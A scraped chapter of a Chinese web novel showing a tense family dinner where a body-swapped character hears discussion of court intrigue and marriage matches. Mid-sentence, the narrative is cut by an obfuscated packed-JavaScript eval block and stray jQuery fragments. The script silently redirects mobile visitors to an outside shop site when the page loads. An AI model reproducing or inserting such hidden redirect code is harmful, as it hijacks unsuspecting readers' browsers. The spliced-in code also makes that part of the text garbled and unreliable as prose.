文趣网 > 其他小说 > 将军今日格外娇俏 > 23. 第 23 章
    崔府又到了全家一同用饭的日子。

    这是蒋昭来崔府后第一回上桌子。

    从进门到落座再到动筷,旁人与他交谈的话不超过十句。

    其中八句是崔正与他的妻子杨微,其余两句便是崔父与崔氏一人一句的问候。

    自从上次崔玉谣被陷害,她对这个二姐姐就谨慎了许多,毕竟曾经都是她去陷害这个二姐,还是第一次被人陷害。

    她看了眼崔玉姝,悄声道:“大姐姐,你觉不觉得二姐变了许多?今日都不怎么与大嫂说话了。”

    崔玉姝用罗帕捂住嘴,细嚼慢咽下口中食物,直到崔玉谣以为她不想说话,她才轻轻搁下筷子,掀起眼帘看了眼二妹,轻声道:“二妹一向话少,你切记得食不言寝不语,有什么一会儿再说。”

    再过段时日,她就要进宫学礼仪了,为了给宫中嬷嬷留下个好印象,母亲给她安排了个宫中出来的老嬷嬷,专程提前教她,学了段时日颇有成效,说话做事之间颇有矜贵之风。

    崔玉谣看着她这样端腔,浑身不得劲,龇牙咧嘴,如坐针毡,忙垂头扒拉了几下碗里的菜,眼睛幽幽地又飘向了莫名沉默的二姐。

    往日每到此时,崔玉璎最爱表现自己知书达理,回回都让父亲赞叹不绝。

    她回回看得咬牙切齿,每每故意与崔玉璎争锋相对都会被父亲教育,转而看崔玉璎装可怜装大度,更是气得恨不得撕了崔玉璎的脸皮,今日怎么这般收敛。

    “姝儿的宫仪学得如何了?”崔夫人将话题转到崔玉姝身上,崔玉姝缓缓起身,行了个端庄大雅的礼,柔笑道:“嬷嬷说学得差不多了,可女儿还觉得有许多不足之处。”

    崔昌盛满意地看着她点头,道:“皇后娘娘为人温和有礼,翊王殿下也盛有贤名,姝儿不必如此紧着自己,注意歇息,松弛有度才是好的。”

    “女儿知晓,只是离进宫不过一月有余,要见皇后娘娘女儿心中还是发怯,怕没做好惹了皇后娘娘不高兴。”

    崔夫人心疼地拉过崔玉姝的手,让她坐下,转头对丈夫道:“女儿还小,没见过那种大场面,更没进过宫,妾每每想着,心里也有些发慌。”

    “慌什么?”崔昌盛道:“皇后娘娘母仪天下,我在朝中从未听说过娘娘责难旁人...”

    想到了什么,他面色有些忧愁。

    “如何?”崔夫人立马察觉出来丈夫的不对劲,连忙道:“可是有什么?”

    崔昌盛叹气道:“朝中的事,不可多言。”

    崔夫人焦急:“妾自然晓得,可姝儿要嫁进宫家,往后我们与翊王殿下都是一体的,旁的不能说,关于姝儿婚事的有什么不可说的?我们只在家中关着门说说,旁人绝不会知晓。”

    蒋昭默默放下筷子,随着其余人一同附和。

    崔昌盛思索片刻,沉声道:“翊王殿下的生母非皇后娘娘,而是淑妃娘娘,此事我们都知晓。”

    “淑妃娘娘所出只有翊王殿下一人,听说翊王殿下要成婚,寻了皇后娘娘多次,觉着我们家......”

    后面的话不必再提。

    崔玉姝面色发白,桌下的手攥紧了衣裳。

    崔家是从柳州搬来的,除了崔昌盛与崔正,祖宗辈没有一个进朝做官,背景干净又好拿捏,被翊王殿下找到时,崔昌盛连犹豫的资格和胆量都没有。

    如今继承人未定,圣上不喜子嗣争斗,翊王殿下需要一个不会控制他的老丈人家,还要在圣上和其余殿下面前显得他无心皇位。

    崔家正是最好的人选。

    虽然崔昌盛不愿卷入这漩涡,但身不由己便只能揣着明白装糊涂,假装这是天大的喜事,可他很清楚,若往后翊王殿下真参与进去,只能赢不能输,不然他们这一家人,全完了。

    于崔玉姝而言,如今嫁与不嫁她都已经成为了翊王殿下的人。

    翊王殿下若为了安抚淑妃娘娘而暂缓婚事,就算缓到了姝儿年老色衰,他们也连垮脸的资格都没有,只能腆着笑,连连道是。

    崔夫人心中发慌,连忙道:“那我们该怎么做?”

    崔昌盛摇头,看向崔玉姝,道:“靖安侯府的老夫人六十大寿在即,老夫人是皇后娘娘的姨母,翊王殿下应会去祝寿,到时你可寻翊王殿下请教一二,就问问淑妃娘娘的喜恶,免得进了宫让娘娘不高兴。”

    “是,女儿会得到淑妃娘娘认可的。”崔玉姝红着眼眶道。

    桌上众人纷纷安慰崔玉姝,崔玉谣也连忙说了几句,并提出自己也会更加懂事帮忙,得到父亲的夸赞后,她挑衅地看向“崔玉璎”,可那人从头到尾都没说过话。

    “不对劲。”她嘟囔了句。

    若是往日,“崔玉璎”定会在这种时候出风头,她方才说的话都是从“崔玉璎”那儿学来的。

    这句话刚好落在桌上沉默的时候,崔夫人问道:“什么不对?”

    崔玉谣愣了下,眼中立马射出精光:“母亲,二姐姐的夫婿可有人选了?之前王家的婆子不是上门问,如何了?”

    王家?

    蒋昭凝神思索,离京数年,回京后也忙得脚不沾地,他还不熟悉现在京城中有哪些贵胄人家。

    崔夫人似才想起来般,转而对崔昌盛道:“妾正要与大人说此事,王家二房有意与玉璎结亲,向妾打听后很满意,妾觉着也不错,大人觉着呢?”

    桌上无人说话,都在看崔昌盛的脸色。

    崔昌盛沉思,问崔正:“我记得王家二房的儿子与正儿是同僚,你觉得如何?”

    崔正道:“此人品行不端,油嘴滑舌,对公事无责任心,不可嫁。”

    短短一句话,就将崔夫人嘴边的笑容说没了。

    崔昌盛越听脸越黑,对崔夫人肃声道:“你也不打听打听为人如何,就往家里说。”

    “妾一个妇道人家,听到的自然都是街坊邻居的话,朝堂上如何,妾自然不甚了解。”崔夫人悻悻,锲而不舍道:“外头都说那孩子会照顾人,细心周到,说不准只是没什么大追求罢了,他家中产业不少,也够他富贵一辈子。”

    “是,官职都是买来的。”崔正冷不丁来了句,瞬间崔家其余人都闭上了嘴。

    蒋昭越听越好笑,怪不得崔玉璎这么怕她大哥,又怪不得沈安君对崔正赞叹不绝,原来是此等妙人儿。

    尴尬沉默后,崔夫人笑了笑道:“户部李侍郎家也递了帖子来,大人觉得如何?若是可行,妾便见见。”

    “嗯...李侍郎的确是个不错的人,也是翊王殿下的人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17649138|205217||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”崔昌盛点头。

    蒋昭觉得这名字有些耳熟,貌似在崔玉璎送来的信中有提及,便问道:“是那个新婚之夜丧妻,后为妻子独身三年的李侍郎?”

    这话问得让人不知如何回答,崔夫人面色发冷,道:“是他,他为人清正谦逊,如今还养着亡妻一家,而且不过三十便升了四品,是个不错的人。”

    “哼。”崔玉谣立马道:“二姐姐心高气傲,连四品官都瞧不上吗?”

    蒋昭勾唇冷笑:“他亡妻家全住进他家里去了,就算再如何也得负责。”

    “这又如何?”崔夫人蹙眉:“就算住到一起也是分院的,互不相干。”

    崔玉谣立马接茬:“就是,他可是愿意为了亡妻独身三年,一点不好的名声都没有,家中住几个外人怎么了?”

    蒋昭扫了圈桌上的人,崔正蹙眉沉思,杨微低着头面色为难,其余人皆是理所当然的模样。他想说些什么,可崔玉璎千叮咛万嘱咐让他别再让崔夫人不高兴,最终他只能沉默。

    用完了饭,蒋昭心中烦躁,直径往玉轩阁走,身后不断传来崔玉谣的叫声,一开始他无视,后来心中越来越生气,便停下脚步。

    “你聋了吗?!我叫你许久了!”崔玉谣气喘吁吁追了上来。

    崔玉谣身上的香太重,蒋昭不着痕迹后退了几步,冷冰冰道:“什么事?”

    “当然是贺喜二姐姐寻得一门好婚事。”崔玉谣喘着气,挑衅地眼神不断往“崔玉璎”身上扫:“看来二姐姐还是与沈郎无缘呢。”

    她幸灾乐祸的样子并没有让蒋昭生气,他还是用最没有反击感的话语,冷淡道:“你话说太早,事情还未定下。”

    “大家都满意,你定不定又有什么关系?依我看啊,二姐姐还是配得上那人的,比起之前那些他可算好的,妹妹就劝二姐姐莫要太挑剔了。”崔玉谣讽笑。

    “怎么,你桌上就一直夸他,看来你很喜欢他。”蒋昭看向崔玉谣,面无表情道:“不如你嫁过去。”

    涉及婚嫁之事,崔玉谣瞬间就被气昏了头,叫道:“你胡说什么!”

    但蒋昭没搭理她,还真往回走了,一副要将此事告诉父亲母亲的模样。

    “你给我站住!”崔玉谣这下心慌了,但不知怎么回事,根本追不上前面人的脚步。

    蒋昭走到正堂,还没踏进去就听里面的人往外走,边走边道:“父亲,水患之事如何安排的?还缺人手吗?”

    是崔正与崔昌盛。

    “我正想与你说此事。”崔昌盛道:“今日上朝路上,蕴儿特地与我说他想与工部一同去徐州。”

    蒋昭脚步猛地顿住,立马转身进了旁边的竹林。

    两人从竹林路过,崔正停下脚步,声音大了些:“君安自请去徐州治水患?”

    “对。”崔昌盛长长叹气:“这孩子态度果决,先去寻了工部尚书才来与我说,我连阻止的话都来不及说。”

    “他对此事了解?”崔正疑惑。

    “不了解,但如今实在缺人,也顾不上他了解不了解了。不过想来也好,若顺利回来便可进工部,再不济也能升个官。”

    两人越走越远,崔玉谣才姗姗来迟,没有寻到人,气急败坏地走了,蒋昭才从竹林后步出。